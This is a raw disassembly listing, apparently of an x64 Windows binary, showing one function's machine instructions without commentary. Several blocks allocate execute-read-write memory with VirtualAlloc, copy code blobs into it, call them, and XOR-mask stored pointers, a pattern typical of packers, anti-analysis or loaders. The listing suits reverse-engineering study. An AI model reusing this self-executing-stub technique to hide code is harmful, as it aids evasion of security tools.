movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400209b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
lea rcx, [0x140021830]
mov qword [r14 + rax*8 + 0x6c170], rcx
mov qword [r14 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x18]
lea rdx, [rsp + 0x68]
lea rcx, [0x140009f50]
call r9
nop
xor rbx, r13
mov qword [rbp + 0xb8], rbx
mov qword [rsi], rbx
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xe0]
call fcn.140021f10
movsd qword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], rsi
mov rbx, qword [rsi]
xor rbx, r13
mov qword [rbp + 0xb8], rbx
mov qword [rsi], rdi
mov ecx, edi
mov rax, qword [0x14006a840]
test rax, rax
je 0x140020b19
mov rdx, rdi
lea r8, [0x140021750]
cmp rax, r8
je 0x140020b08
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6a840]
test rax, rax
jne 0x140020af0
jmp 0x140020b19
mov r8, qword [r14 + rdx*8 + 0x69ba0]
test r8, r8
jne 0x140020c06
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140020b42
mov r8, rdi
jmp 0x140020bde
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140020b50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x6a840], rcx
mov qword [r14 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140009f60]
call r8
nop
xor rbx, r13
mov qword [rbp + 0xb8], rbx
mov qword [rsi], rbx
mulsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [rsp + 0x40]
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
test al, 1
jne 0x140020c57
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
add ecx, eax
jmp 0x140020c62
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov byte [rbp + 0x10], 0
mov edi, 5
nop
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xe0]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
lea rdx, [rbp + 0x150]
test bl, 1
jne 0x140020ceb
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rcx, [rbp]
call fcn.140009bf0
mov ecx, dword [rsp + 0x40]
imul ecx, eax
mov dword [rsp + 0x40], ecx
jmp 0x140020d0b
lea rcx, [rbp + 0xe0]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x48]
addsd xmm0, xmm6
divsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
inc ebx
cmp ebx, 5
jl 0x140020c80
sub rdi, 1
jne 0x140020c70
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.1400218b0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rbp + 0x80]
call fcn.1400047a0
sub r12, 1
jne 0x14001fec0
lea rcx, [rbp + 0x110]
call fcn.140009fc0
mov rsi, qword [rbp - 0x78]
mov qword [rbp + 0x40], rsi
mov rax, qword [rax]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x18]
call fcn.140021870
test al, al
js 0x14001feb3
mov r13, qword [rsp + 0x78]
movabs r12, 0xff00ff00ff00ff00
mov eax, dword [rsp + 0x40]
lea rcx, [rbp + 0x130]
call fcn.140004eb0
nop
lea rcx, [rbp + 0xa0]
call fcn.140021e60
mov dword [rbp + 0xf0], edi
xor edx, edx
mov r8d, 0x10000
lea rcx, [rbp + 0x14e0]
call fcn.140048640
mov rcx, qword [rbp - 0x30]
mov rax, qword [rcx]
mov ecx, dword [rax]
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1c2
sub ecx, eax
mov dword [rbp + 0x18], ecx
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
lea rax, [rbp + 0x11598]
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], rax
mov rbx, qword [rax]
xor rbx, r12
mov qword [rbp + 0xb8], rbx
mov qword [rax], rdi
mov ecx, edi
lea rsi, [0x140021950]
mov rax, qword [0x14006b1a0]
test rax, rax
je 0x140020e8d
mov rdx, rdi
cmp rax, rsi
je 0x140020e7c
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6b1a0]
test rax, rax
jne 0x140020e64
jmp 0x140020e8d
mov r10, qword [r14 + rdx*8 + 0x685a0]
test r10, r10
jne 0x140020f6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140020eb6
mov r10, rdi
jmp 0x140020f4e
mov rax, rsi
mov rcx, r10
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r15, 1
jne 0x140020ec0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006be40]
mov qword [r14 + rax*8 + 0x6b1a0], rsi
mov qword [r14 + rax*8 + 0x685a0], r10
inc rax
mov qword [0x14006be40], rax
lea rdx, [rbp + 0x18]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r10
nop
xor rbx, r12
lea rax, [rbp + 0x11598]
mov qword [rax], rbx
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xf0]
mov r8d, 0x10000
lea rdx, [rbp + 0x14e0]
mov rcx, r13
call qword [0x14006dab0]
nop
mov rax, qword [rbp + 0x118]
xor rax, r12
lea rcx, [rbp + 0x11598]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x114e0]
xor rcx, rsp
call fcn.1400255f0
lea r11, [rsp + 0x11670]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret